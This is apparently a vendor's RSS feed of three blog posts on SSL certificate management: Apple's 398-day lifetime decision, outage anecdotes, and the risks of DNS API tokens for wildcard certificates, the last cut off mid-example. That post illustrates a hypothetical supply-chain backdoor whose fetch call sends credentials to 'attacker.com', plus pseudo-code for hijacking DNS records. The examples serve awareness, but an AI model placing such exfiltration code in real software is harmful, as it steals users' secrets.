<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: CertKit • SSL Certificate Management</title>
    <description>The latest articles on Forem by CertKit • SSL Certificate Management (@certkit).</description>
    <link>https://forem.com/certkit</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F11531%2F17006d9e-6dfe-4851-b669-06354f9a870d.png</url>
      <title>Forem: CertKit • SSL Certificate Management</title>
      <link>https://forem.com/certkit</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/certkit"/>
    <language>en</language>
    <item>
      <title>Apple vs. The CAs: The Day One Company Changed Internet Security Forever</title>
      <dc:creator>Todd H. Gardner</dc:creator>
      <pubDate>Mon, 06 Oct 2025 20:59:27 +0000</pubDate>
      <link>https://forem.com/certkit/apple-vs-the-cas-the-day-one-company-changed-internet-security-forever-2bc4</link>
      <guid>https://forem.com/certkit/apple-vs-the-cas-the-day-one-company-changed-internet-security-forever-2bc4</guid>
      <description>&lt;p&gt;February 2020. Bratislava, Slovakia. The CA/Browser Forum face-to-face meeting.&lt;/p&gt;

&lt;p&gt;A room full of Certificate Authority executives who'd successfully killed every attempt to shorten certificate lifetimes. They'd just stonewalled another attempt at shorter certificates. Business as usual.&lt;/p&gt;

&lt;p&gt;Then Apple stood up.&lt;/p&gt;

&lt;p&gt;"Effective September 1, 2020, certificates valid for more than 398 days will not be trusted."&lt;/p&gt;

&lt;p&gt;No vote. No consensus. Just done.&lt;/p&gt;

&lt;p&gt;The room went silent. Then exploded.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;For context, browsers had been trying to reduce certificate lifetimes since 2017. The whole industry knew &lt;a href="https://www.certkit.io/blog/47-day-certificate-ultimatum" rel="noopener noreferrer"&gt;47 day certificates&lt;/a&gt; were coming eventually. But the CAs had a beautiful voting bloc. Every proposal died the same way:&lt;/p&gt;

&lt;p&gt;Browsers: "Shorter certificates are safer."&lt;br&gt;
CAs: "Our customers aren't ready."&lt;br&gt;
&lt;em&gt;Vote fails.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Rinse. Repeat. Cash checks.&lt;/p&gt;

&lt;p&gt;Google tried with Ballot 185 in 2017. Failed.&lt;br&gt;
Google, Apple, and Let's Encrypt tried with SC22 in 2019. Failed.&lt;/p&gt;

&lt;p&gt;The CAs thought they'd figured out the game. Control the votes, control the timeline, control the revenue.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Blindside
&lt;/h2&gt;

&lt;p&gt;Apple's announcement wasn't even on the agenda.&lt;/p&gt;

&lt;p&gt;They just stood up during their Root Program update and dropped the bomb. Here's the actual quote that changed everything:&lt;/p&gt;

&lt;p&gt;"Given the challenges of reaching consensus within the Forum, Apple is moving forward with a unilateral requirement."&lt;/p&gt;

&lt;p&gt;Translation: "You had your chance to play nice."&lt;/p&gt;

&lt;p&gt;Chris from Entrust captured the CA panic perfectly: "The Forum was created to set these policies together. This undermines the entire process."&lt;/p&gt;

&lt;p&gt;Yeah, Chris. That's the point.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fallout Was Immediate
&lt;/h2&gt;

&lt;p&gt;Within 72 hours:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mozilla signaled they'd probably follow&lt;/li&gt;
&lt;li&gt;Google started drafting similar requirements
&lt;/li&gt;
&lt;li&gt;Microsoft began "evaluating alignment opportunities"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Corporate speak for: "Apple just gave us cover to do what we wanted anyway."&lt;/p&gt;

&lt;p&gt;The CAs suddenly discovered they could implement automation after all. Amazing how fast "impossible" becomes "challenging but feasible" when Safari won't load your certificates.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Apple Could Do This
&lt;/h2&gt;

&lt;p&gt;Here's what the CAs missed: The browsers hold all the cards.&lt;/p&gt;

&lt;p&gt;Think about it. What's a Certificate Authority without browser trust? A random company with expensive HSMs and nobody to sell to.&lt;/p&gt;

&lt;p&gt;But a browser without one specific CA? Still works fine. Hundreds of other CAs eager to comply.&lt;/p&gt;

&lt;p&gt;Apple understood the assignment. They didn't need consensus. They needed Safari to be secure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Beautiful Irony
&lt;/h2&gt;

&lt;p&gt;Remember all those enterprise customers who "couldn't possibly handle" shorter certificates? &lt;/p&gt;

&lt;p&gt;Turns out they could.&lt;/p&gt;

&lt;p&gt;Remember the complex approval processes that made automation "impossible"?&lt;/p&gt;

&lt;p&gt;Suddenly solvable.&lt;/p&gt;

&lt;p&gt;Remember the legacy systems that would "never support" 398-day certificates?&lt;/p&gt;

&lt;p&gt;Miraculously updated.&lt;/p&gt;

&lt;p&gt;All it took was one company saying "We're done waiting."&lt;/p&gt;

&lt;h2&gt;
  
  
  The Lesson
&lt;/h2&gt;

&lt;p&gt;The Bratislava announcement taught everyone a simple truth: Standards bodies only work when everyone wants to standardize.&lt;/p&gt;

&lt;p&gt;When half the room profits from the problem, you don't get solutions. You get committees.&lt;/p&gt;

&lt;p&gt;Apple didn't fix the committee. They made it irrelevant.&lt;/p&gt;

&lt;p&gt;And that's how certificate lifetimes went from "impossible to reduce" to "reducing whether you like it or not" in one Wednesday afternoon in Slovakia.&lt;/p&gt;

&lt;p&gt;The CAs learned something that day: You can stonewall a committee. You can't stonewall reality.&lt;/p&gt;

</description>
      <category>ssl</category>
      <category>certificates</category>
      <category>secops</category>
    </item>
    <item>
      <title>That Time a Certificate Took Down Production: A DevOps Trauma Bond</title>
      <dc:creator>Todd H. Gardner</dc:creator>
      <pubDate>Fri, 19 Sep 2025 15:51:25 +0000</pubDate>
      <link>https://forem.com/certkit/that-time-a-certificate-took-down-production-a-devops-trauma-bond-498e</link>
      <guid>https://forem.com/certkit/that-time-a-certificate-took-down-production-a-devops-trauma-bond-498e</guid>
      <description>&lt;h2&gt;
  
  
  We All Have "The Incident"
&lt;/h2&gt;

&lt;p&gt;Ask any DevOps engineer about their worst certificate story and watch their face change. The thousand-yard stare. The nervous laugh. The "oh god, that day" head shake.&lt;/p&gt;

&lt;p&gt;Mine was February 2019. 3 AM. My phone buzzing like an angry hornet. Production down. Not just our app—everything. The API, the admin portal, the status page that was supposed to tell people about outages.&lt;/p&gt;

&lt;p&gt;The certificate had expired 37 seconds ago.&lt;/p&gt;

&lt;p&gt;The renewal script had been failing since January 3rd. The alerting was configured to email &lt;a href="mailto:tom@company.com"&gt;tom@company.com&lt;/a&gt;. Tom left in 2017. Nobody created an alias. The logs were writing to a disk that filled up in December.&lt;/p&gt;

&lt;p&gt;I fixed it in pajamas and shame while the CEO asked questions I couldn't answer.&lt;/p&gt;

&lt;p&gt;We don't talk about February 2019.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Certificate Trauma Collection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  "The One Where We Lost a Customer"
&lt;/h3&gt;

&lt;p&gt;From Rachel, SRE at a fintech startup:&lt;/p&gt;

&lt;p&gt;"Our biggest client was doing their quarterly security review. Super strict about compliance. Of course, that's when our customer portal certificate decided to expire. Not at midnight like a civilized certificate. At 2:17 PM. During their review.&lt;/p&gt;

&lt;p&gt;The customer's security team screenshots the browser warning. Emails their executives. Uses words like 'critical security failure' and 'unacceptable risk.'&lt;/p&gt;

&lt;p&gt;We renewed it in twelve minutes. They terminated our contract in twelve days.&lt;/p&gt;

&lt;p&gt;The certificate? It was for a staging environment. That we forgot existed. That was somehow accessible from their IP range. That nobody used except during security reviews."&lt;/p&gt;

&lt;h3&gt;
  
  
  "The Recursive Dependency Hell"
&lt;/h3&gt;

&lt;p&gt;From Marcus, Platform Engineer:&lt;/p&gt;

&lt;p&gt;"We had bulletproof certificate automation. Monitored by Prometheus. Prometheus secured with certificates. Those certificates managed by Vault. Vault's certificates managed by our automation. Our automation authenticated to Vault using... certificates.&lt;/p&gt;

&lt;p&gt;Can you see where this is going?&lt;/p&gt;

&lt;p&gt;One expired certificate started a cascade. Automation couldn't authenticate to Vault. Vault couldn't issue new certificates. Monitoring couldn't alert because its certificates were expired. The dead man's switch? Also certificate-protected.&lt;/p&gt;

&lt;p&gt;We call it Certificate Ouroboros. We fixed it with console access and tears."&lt;/p&gt;

&lt;h3&gt;
  
  
  "The Weekend Wedding Special"
&lt;/h3&gt;

&lt;p&gt;From Alex, DevOps Lead:&lt;/p&gt;

&lt;p&gt;"My colleague was getting married. Beautiful destination wedding. No phone coverage. We all knew. We prepared. We had runbooks. We had backups for the backups.&lt;/p&gt;

&lt;p&gt;The certificate that expired wasn't in our inventory. It was for an internal service that nobody knew used HTTPS. But our main app had a hard dependency on it. At startup. Which happened during our Saturday deployment.&lt;/p&gt;

&lt;p&gt;The groom fixed it from his honeymoon suite while his new spouse questioned their life choices.&lt;/p&gt;

&lt;p&gt;He still flinches when anyone mentions certificates."&lt;/p&gt;

&lt;h3&gt;
  
  
  "The Printer Incident"
&lt;/h3&gt;

&lt;p&gt;From Jordan, Systems Engineer:&lt;/p&gt;

&lt;p&gt;"A network printer took down our entire authentication system. I'm not making this up.&lt;/p&gt;

&lt;p&gt;Some genius years ago decided the printer needed a web interface. With HTTPS. With a certificate from our internal CA. The printer firmware couldn't auto-renew. Nobody documented this.&lt;/p&gt;

&lt;p&gt;When it expired, it started hammering our LDAP server with auth requests. Thousands per second. LDAP crashed. Nobody could log into anything. VPN, email, door badges—all dead.&lt;/p&gt;

&lt;p&gt;Six hours to trace it to a printer. A PRINTER.&lt;/p&gt;

&lt;p&gt;We now have a spreadsheet called 'Devices That Shouldn't Have Certificates But Do.' It has 47 entries."&lt;/p&gt;

&lt;h3&gt;
  
  
  "The Time Zone Disaster"
&lt;/h3&gt;

&lt;p&gt;From Sam, Infrastructure Engineer:&lt;/p&gt;

&lt;p&gt;"Our certificate expired at midnight. We knew this. We scheduled the renewal for 11 PM. Foolproof.&lt;/p&gt;

&lt;p&gt;Except the server was in UTC. The renewal script used local time. The monitoring was in Eastern. The certificate authority was in Pacific.&lt;/p&gt;

&lt;p&gt;It expired at what we thought was 7 PM. The renewal ran at what it thought was 11 PM. Which was 3 AM the next day. Seven hours of downtime because nobody agrees what time it is.&lt;/p&gt;

&lt;p&gt;We now use only UTC. For everything. My calendar looks insane but at least certificates renew."&lt;/p&gt;

&lt;h2&gt;
  
  
  Why These Stories Are Universal
&lt;/h2&gt;

&lt;h3&gt;
  
  
  It's Always the Forgotten System
&lt;/h3&gt;

&lt;p&gt;Nobody's production web server certificate expires anymore. We monitor those obsessively. It's always:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The internal wiki from 2016&lt;/li&gt;
&lt;li&gt;The IoT device someone connected once&lt;/li&gt;
&lt;li&gt;The test server that became critical&lt;/li&gt;
&lt;li&gt;The vendor appliance with a web interface&lt;/li&gt;
&lt;li&gt;The thing labeled "temporary" three years ago&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Documentation Is Fiction
&lt;/h3&gt;

&lt;p&gt;Every certificate horror story includes someone saying "according to the documentation..." followed by hollow laughter.&lt;/p&gt;

&lt;p&gt;The wiki says the cert is at &lt;code&gt;/etc/ssl/certs&lt;/code&gt;. It's actually at &lt;code&gt;/opt/custom/app/security/keys/new/final/&lt;/code&gt;. The renewal instructions reference servers decommissioned during Obama's first term. The contact person is "admin."&lt;/p&gt;

&lt;h3&gt;
  
  
  The Timing Is Sadistic
&lt;/h3&gt;

&lt;p&gt;Certificates don't expire on boring Tuesday afternoons. They expire:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;During board presentations&lt;/li&gt;
&lt;li&gt;On holidays&lt;/li&gt;
&lt;li&gt;During migrations&lt;/li&gt;
&lt;li&gt;While you're at the dentist&lt;/li&gt;
&lt;li&gt;The day after you said "our infrastructure is rock solid"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's like they know.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Fix Is Always Temporary
&lt;/h3&gt;

&lt;p&gt;"We'll just manually renew it this once."&lt;br&gt;
"Quick workaround for now."&lt;br&gt;
"We'll automate it properly next sprint."&lt;/p&gt;

&lt;p&gt;Three years later, that "temporary" fix is load-bearing infrastructure held together by cron jobs and hope.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Shared Trauma Response
&lt;/h2&gt;

&lt;p&gt;Every DevOps team develops the same coping mechanisms:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Paranoid Calendar&lt;/strong&gt;: Seventeen different reminders for each certificate. Email, Slack, text message, carrier pigeon. All set for a week before expiration. Nobody trusts automation anymore.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Ceremony&lt;/strong&gt;: The ritual checking of certificates every Monday morning. Opening each site. Clicking the padlock. Muttering "good, good, still valid." It's not rational. It's necessary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Stories&lt;/strong&gt;: We tell these tales to new hires like ghost stories. "Gather 'round and let me tell you about The Great Certificate Expiration of 2018..." It's partly warning, partly therapy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Overcorrection&lt;/strong&gt;: One expired certificate and suddenly you have monitoring for your monitoring, alerts for your alerts, and a runbook that rivals War and Peace.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why We Keep Doing This to Ourselves
&lt;/h2&gt;

&lt;p&gt;We're smart people. We automate everything else. We have sophisticated deployment pipelines. We use machine learning for capacity planning. &lt;/p&gt;

&lt;p&gt;But certificates? We're still running bash scripts written by someone who left three years ago.&lt;/p&gt;

&lt;p&gt;Because fixing it properly means admitting we've been doing it wrong. It means explaining to management why we need to spend three sprints on something that "already works." It means acknowledging that our &lt;a href="https://www.certkit.io/blog/why-you-built-your-own-certificate-management" rel="noopener noreferrer"&gt;home-grown certificate management is held together with digital duct tape&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So we patch. We workaround. We add another monitoring check. We tell ourselves we'll fix it properly "next quarter."&lt;/p&gt;

&lt;p&gt;Then 3 AM comes. The phone buzzes. And we create another story for the collection.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Universal Truth
&lt;/h2&gt;

&lt;p&gt;If you've been in DevOps for more than two years and don't have a certificate horror story, you're either lying or lucky. Probably both.&lt;/p&gt;

&lt;p&gt;These aren't just war stories. They're warnings. Every "that could never happen to us" is followed, eventually, by "how did this happen to us?"&lt;/p&gt;

&lt;p&gt;Your certificate horror story isn't a matter of if. It's a matter of when.&lt;/p&gt;

&lt;p&gt;The only question is: Will it be original enough to share at DevOps meetups?&lt;/p&gt;

&lt;h2&gt;
  
  
  Breaking the Cycle
&lt;/h2&gt;

&lt;p&gt;Maybe it's time to stop collecting these stories. Maybe it's time to admit that certificate management isn't something we should be building ourselves. Maybe it's time to let someone else stay up at 3 AM.&lt;/p&gt;

&lt;p&gt;But until then, we'll keep swapping tales of certificate disasters. Bonding over our shared trauma. Adding new chapters to the anthology of "things that shouldn't have expired but did."&lt;/p&gt;

&lt;p&gt;Because every DevOps team has that one certificate story.&lt;/p&gt;

&lt;p&gt;What's yours?&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>devops</category>
      <category>ssl</category>
      <category>secops</category>
    </item>
    <item>
      <title>Your Wildcard SSL Setup is a Security Nightmare (And You Don't Even Know It)</title>
      <dc:creator>Todd H. Gardner</dc:creator>
      <pubDate>Fri, 05 Sep 2025 00:58:24 +0000</pubDate>
      <link>https://forem.com/certkit/your-wildcard-ssl-setup-is-a-security-nightmare-and-you-dont-even-know-it-317c</link>
      <guid>https://forem.com/certkit/your-wildcard-ssl-setup-is-a-security-nightmare-and-you-dont-even-know-it-317c</guid>
      <description>&lt;p&gt;That wildcard certificate you just set up for &lt;code&gt;*.yourapp.com&lt;/code&gt;? &lt;/p&gt;

&lt;p&gt;You probably gave some random script full access to your entire DNS zone. The same zone that controls your email. Your subdomains. Your everything.&lt;/p&gt;

&lt;p&gt;Let me show you exactly how badly you just compromised your infrastructure, and why nobody's talking about it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Code You Just Ran Without Reading
&lt;/h2&gt;

&lt;p&gt;Be honest. You googled "wildcard certificate nginx" and ran the first tutorial you found. It looked something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# "Just run this, it's fine!"&lt;/span&gt;
certbot certonly &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--dns-cloudflare&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--dns-cloudflare-credentials&lt;/span&gt; ~/.secrets/cloudflare.ini &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'*.yourapp.com'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Harmless, right? Let's look at what's in that credentials file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# cloudflare.ini
&lt;/span&gt;&lt;span class="py"&gt;dns_cloudflare_api_token&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;your-api-token-with-zone-edit-permissions&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Congrats. You just gave CertBot—and any process that can read that file—the ability to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Delete all your DNS records&lt;/li&gt;
&lt;li&gt;Redirect your domain anywhere&lt;/li&gt;
&lt;li&gt;Intercept your email&lt;/li&gt;
&lt;li&gt;Create subdomain takeovers&lt;/li&gt;
&lt;li&gt;Basically destroy your entire online presence&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What That API Token Can Actually Do
&lt;/h2&gt;

&lt;p&gt;When you create a DNS API token for wildcard certificates, you need &lt;code&gt;Zone:DNS:Edit&lt;/code&gt; permissions. Sounds reasonable. Here's what that actually means in code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// What you think you're allowing:&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;updateDNSRecord&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;TXT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;_acme-challenge&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;some-validation-string&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// What you're ACTUALLY allowing:&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;deleteAllDNSRecords&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createDNSRecord&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;A&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1.2.3.4&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="c1"&gt;// attacker's server&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createDNSRecord&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;MX&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;attacker-mail-server.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;deleteRecord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SPF&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;deleteRecord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DMARC&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// ... goodbye, domain&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That token doesn't just add TXT records for ACME challenges. It can modify, delete, or replace ANY record in your zone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real Attack Scenarios That Should Terrify You
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Scenario 1: The Leaked Credentials File
&lt;/h3&gt;

&lt;p&gt;Your &lt;code&gt;.ini&lt;/code&gt; file with DNS credentials gets committed to a repo. "It's a private repo," you say. Until:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Someone's GitHub token gets compromised&lt;/li&gt;
&lt;li&gt;An employee goes rogue
&lt;/li&gt;
&lt;li&gt;You accidentally make the repo public for 30 seconds&lt;/li&gt;
&lt;li&gt;GitHub Copilot suggests it in someone else's code (yes, this happens)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now attackers have your DNS. Not your server. Your entire DNS zone.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 2: The Compromised Server
&lt;/h3&gt;

&lt;p&gt;Your web server gets popped through an unrelated vulnerability. The attacker finds your CertBot credentials sitting at &lt;code&gt;~/.secrets/cloudflare.ini&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;They don't need root. They don't need to escalate privileges. They just need to read one file that your web user has access to (because CertBot runs as that user).&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 3: The Supply Chain Attack
&lt;/h3&gt;

&lt;p&gt;That CertBot plugin you're using? Or that Node.js ACME library? They're open source. Maintained by volunteers. What happens when:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// node_modules/some-acme-client/index.js&lt;/span&gt;
&lt;span class="c1"&gt;// After a "helpful" PR that "fixes DNS validation issues"&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;validateDNS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Original code&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createTXTRecord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;_acme-challenge&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Sneaky addition&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="c1"&gt;// 0.1% chance, hard to detect&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attacker.com/steal-creds&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your DNS credentials are now being slowly exfiltrated. One in a thousand renewals. You'll never notice.&lt;/p&gt;

&lt;h2&gt;
  
  
  The "Best Practice" That's Actually Worse
&lt;/h2&gt;

&lt;p&gt;"Use a separate AWS account for Route53!" they say. "Principle of least privilege!"&lt;/p&gt;

&lt;p&gt;Cool. Now you have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS credentials in AWS Account B&lt;/li&gt;
&lt;li&gt;Your app in AWS Account A
&lt;/li&gt;
&lt;li&gt;Cross-account IAM roles&lt;/li&gt;
&lt;li&gt;Credentials that need to cross boundaries&lt;/li&gt;
&lt;li&gt;More complex automation&lt;/li&gt;
&lt;li&gt;The same fundamental problem: &lt;strong&gt;Your app still has full DNS access&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You've added complexity without solving the core issue.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix Nobody Tells You About
&lt;/h2&gt;

&lt;p&gt;Here's what you should actually do:&lt;/p&gt;

&lt;h3&gt;
  
  
  Solution 1: DNS Delegation for Validation
&lt;/h3&gt;

&lt;p&gt;Create a separate DNS zone just for ACME validation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Your main zone (protected)&lt;/span&gt;
&lt;span class="nx"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com&lt;/span&gt;
&lt;span class="err"&gt;├──&lt;/span&gt; &lt;span class="nx"&gt;A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;3.4&lt;/span&gt;
